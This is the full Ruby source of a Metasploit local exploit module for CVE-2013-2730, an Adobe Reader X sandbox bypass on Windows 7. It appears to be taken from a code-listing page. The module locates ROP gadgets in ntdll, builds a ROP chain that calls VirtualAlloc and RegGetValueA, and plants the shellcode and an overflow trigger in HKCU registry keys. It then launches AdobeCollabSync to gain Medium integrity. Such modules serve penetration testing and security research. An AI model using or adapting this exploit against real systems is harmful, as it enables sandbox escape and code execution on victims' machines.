1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' require 'msf/core/post/common' require 'msf/core/post/file' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Registry def initialize(info={}) super(update_info(info, { 'Name'=> 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass', 'Description'=> %q{ This module exploits a vulnerability on Adobe Reader X Sandbox. The vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe process to write register values which can be used to trigger a buffer overflow on the AdobeCollabSync component, allowing to achieve Medium Integrity Level privileges from a Low Integrity AcroRd32.exe process. This module has been tested successfully on Adobe Reader X 10.1.4 over Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author'=> [ 'Felipe Andres Manzano', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'References'=> [ [ 'CVE', '2013-2730' ], [ 'OSVDB', '93355' ], [ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ] ], 'Arch'=> ARCH_X86, 'Platform'=> 'win', 'SessionTypes'=> 'meterpreter', 'Payload'=> { 'Space' => 12288, 'DisableNops' => true }, 'Targets' => [ [ 'Adobe Reader X 10.1.4 / Windows 7 SP1', { 'AdobeCollabSyncTrigger' => 0x18fa0, 'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF" } ], ], 'DefaultTarget' => 0, 'DisclosureDate'=> 'May 14 2013' })) end def on_new_session print_status("Deleting Malicious Registry Keys...") if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode") print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself") end if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB") print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself") end print_status("Cleanup finished") end # Test the process integrity level by trying to create a directory on the TEMP folder # Access should be granted with Medium Integrity Level # Access should be denied with Low Integrity Level # Usint this solution atm because I'm experiencing problems with railgun when trying # use GetTokenInformation def low_integrity_level? tmp_dir = expand_path("%TEMP%") cd(tmp_dir) new_dir = "#{rand_text_alpha(5)}" begin session.shell_command_token("mkdir #{new_dir}") rescue return true end if directory?(new_dir) session.shell_command_token("rmdir #{new_dir}") return false else return true end end def check_trigger signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length) if signature == target['AdobeCollabSyncTriggerSignature'] return true end return false end def collect_addresses # find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe @addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'] vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}") # find kernel32.dll kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll") @addresses['kernel32.dll'] = kernel32["return"] if @addresses['kernel32.dll'] == 0 fail_with(Exploit::Failure::Unknown, "Unable to find kernel32.dll") end vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}") # find kernel32.dll methods virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc") @addresses['VirtualAlloc'] = virtual_alloc["return"] if @addresses['VirtualAlloc'] == 0 fail_with(Exploit::Failure::Unknown, "Unable to find VirtualAlloc") end vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}") reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA") @addresses['RegGetValueA'] = reg_get_value["return"] if @addresses['RegGetValueA'] == 0 fail_with(Exploit::Failure::Unknown, "Unable to find RegGetValueA") end vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}") # find ntdll.dll ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll") @addresses['ntdll.dll'] = ntdll["return"] if @addresses['ntdll.dll'] == 0 fail_with(Exploit::Failure::Unknown, "Unable to find ntdll.dll") end vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}") end # Search a gadget identified by pattern on the process memory def search_gadget(base, offset_start, offset_end, pattern) mem= base + offset_start length = offset_end - offset_start mem_contents = session.railgun.memread(mem, length) return mem_contents.index(pattern) end # Search for gadgets on ntdll.dll def search_gadgets ntdll_text_base = 0x10000 search_length =0xd6000 @gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3") if @gadgets['mov [edi], ecx # ret'].nil? fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'") end @gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll'] @gadgets['mov [edi], ecx # ret'] += ntdll_text_base vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}") @gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2 vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}") @gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3") if @gadgets['pop edi # ret'].nil? fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop edi # ret'") end @gadgets['pop edi # ret'] += @addresses['ntdll.dll'] @gadgets['pop edi # ret'] += ntdll_text_base vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}") @gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3") if @gadgets['pop ecx # ret'].nil? fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop ecx # ret'") end @gadgets['pop ecx # ret'] += @addresses['ntdll.dll'] @gadgets['pop ecx # ret'] += ntdll_text_base vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}") end def store(buf, data, address) i = 0 while (i < data.length) buf << [@gadgets['pop edi # ret']].pack("V") buf << [address + i].pack("V") # edi buf << [@gadgets['pop ecx # ret']].pack("V") buf << data[i, 4].ljust(4,"\x00") # ecx buf << [@gadgets['mov [edi], ecx # ret']].pack("V") i = i + 4 end return i end def create_rop_chain mem = 0x0c0c0c0c buf =[0x58000000 + 1].pack("V") buf << [0x58000000 + 2].pack("V") buf << [0].pack("V") buf << [0x58000000 + 4].pack("V") buf << [0x58000000 + 5].pack("V") buf << [0x58000000 + 6].pack("V") buf << [0x58000000 + 7].pack("V") buf << [@gadgets['ret']].pack("V") buf << rand_text(8) # Allocate Memory To store the shellcode and the necessary data to read the # shellcode stored in the registry buf << [@addresses['VirtualAlloc']].pack("V") buf << [@gadgets['ret']].pack("V") buf << [mem].pack("V")# lpAddress buf << [0x00010000].pack("V") # SIZE_T dwSize buf << [0x00003000].pack("V") # DWORD flAllocationType buf << [0x00000040].pack("V") # flProtect # Put in the allocated memory the necessary data in order to read the # shellcode stored in the registry # 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00" reg_key_length = store(buf, reg_key, mem) # 2) The reg entry: shellcode value_key = "shellcode\x00" store(buf, value_key, mem + reg_key_length) # 3) The output buffer size: 0x3000 size_buffer = 0x3000 buf << [@gadgets['pop edi # ret']].pack("V") buf << [mem + 0x50].pack("V") # edi buf << [@gadgets['pop ecx # ret']].pack("V") buf << [size_buffer].pack("V") # ecx buf << [@gadgets['mov [edi], ecx # ret']].pack("V") # Copy the shellcode from the the registry to the # memory allocated with executable permissions and # ret into there buf << [@addresses['RegGetValueA']].pack("V") buf << [mem + 0x1000].pack("V") # ret to shellcode buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER buf << [mem].pack("V")# lpSubKey buf << [mem + 0x3c].pack("V") # lpValue buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY buf << [0].pack("V")# pdwType buf << [mem + 0x1000].pack("V") # pvData buf << [mem + 0x50].pack("V") # pcbData end # Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry def store_data_registry(buf) vprint_status("Creating the Registry Key to store the shellcode...") if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode") vprint_good("Registry Key created") else fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Key to store the shellcode") end vprint_status("Storing the shellcode in the Registry...") if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY") vprint_good("Shellcode stored") else fail_with(Exploit::Failure::Unknown, "Failed to store shellcode in the Registry") end # Create the Malicious registry entry in order to exploit.... vprint_status("Creating the Registry Key to trigger the Overflow...") if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB") vprint_good("Registry Key created") else fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow") end vprint_status("Storing the trigger in the Registry...") if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY") vprint_good("Trigger stored") else fail_with(Exploit::Failure::Unknown, "Failed to store the trigger in the Registry") end end def trigger_overflow vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...") # Create a thread in order to execute the necessary code to launch AdobeCollabSync ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil) if ret['return'] < 1 print_error("Unable to CreateThread") return end hthread = ret['return'] vprint_status("Resuming the Thread...") # Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability! ret = client.railgun.kernel32.ResumeThread(hthread) if ret['return'] < 1 fail_with(Exploit::Failure::Unknown, "Unable to ResumeThread") end end def check @addresses = {} acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe") @addresses['AcroRd32.exe'] = acrord32["return"] if @addresses['AcroRd32.exe'] == 0 return Msf::Exploit::CheckCode::Unknown elsif check_trigger return Msf::Exploit::CheckCode::Vulnerable else return Msf::Exploit::CheckCode::Detected end end def exploit @addresses = {} @gadgets = {} print_status("Verifying we're in the correct target process...") acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe") @addresses['AcroRd32.exe'] = acrord32["return"] if @addresses['AcroRd32.exe'] == 0 fail_with(Exploit::Failure::NoTarget, "AcroRd32.exe process not found") end vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}") print_status("Checking the AcroRd32.exe image...") if not check_trigger fail_with(Exploit::Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target") end print_status("Checking the Process Integrity Level...") if not low_integrity_level? fail_with(Exploit::Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level") end print_status("Collecting necessary addresses for exploit...") collect_addresses print_status("Searching the gadgets needed to build the ROP chain...") search_gadgets print_good("Gadgets collected...") print_status("Building the ROP chain...") buf = create_rop_chain print_good("ROP chain ready...") print_status("Storing the shellcode and the trigger in the Registry...") store_data_registry(buf) print_status("Executing AdobeCollabSync.exe...") trigger_overflow end end |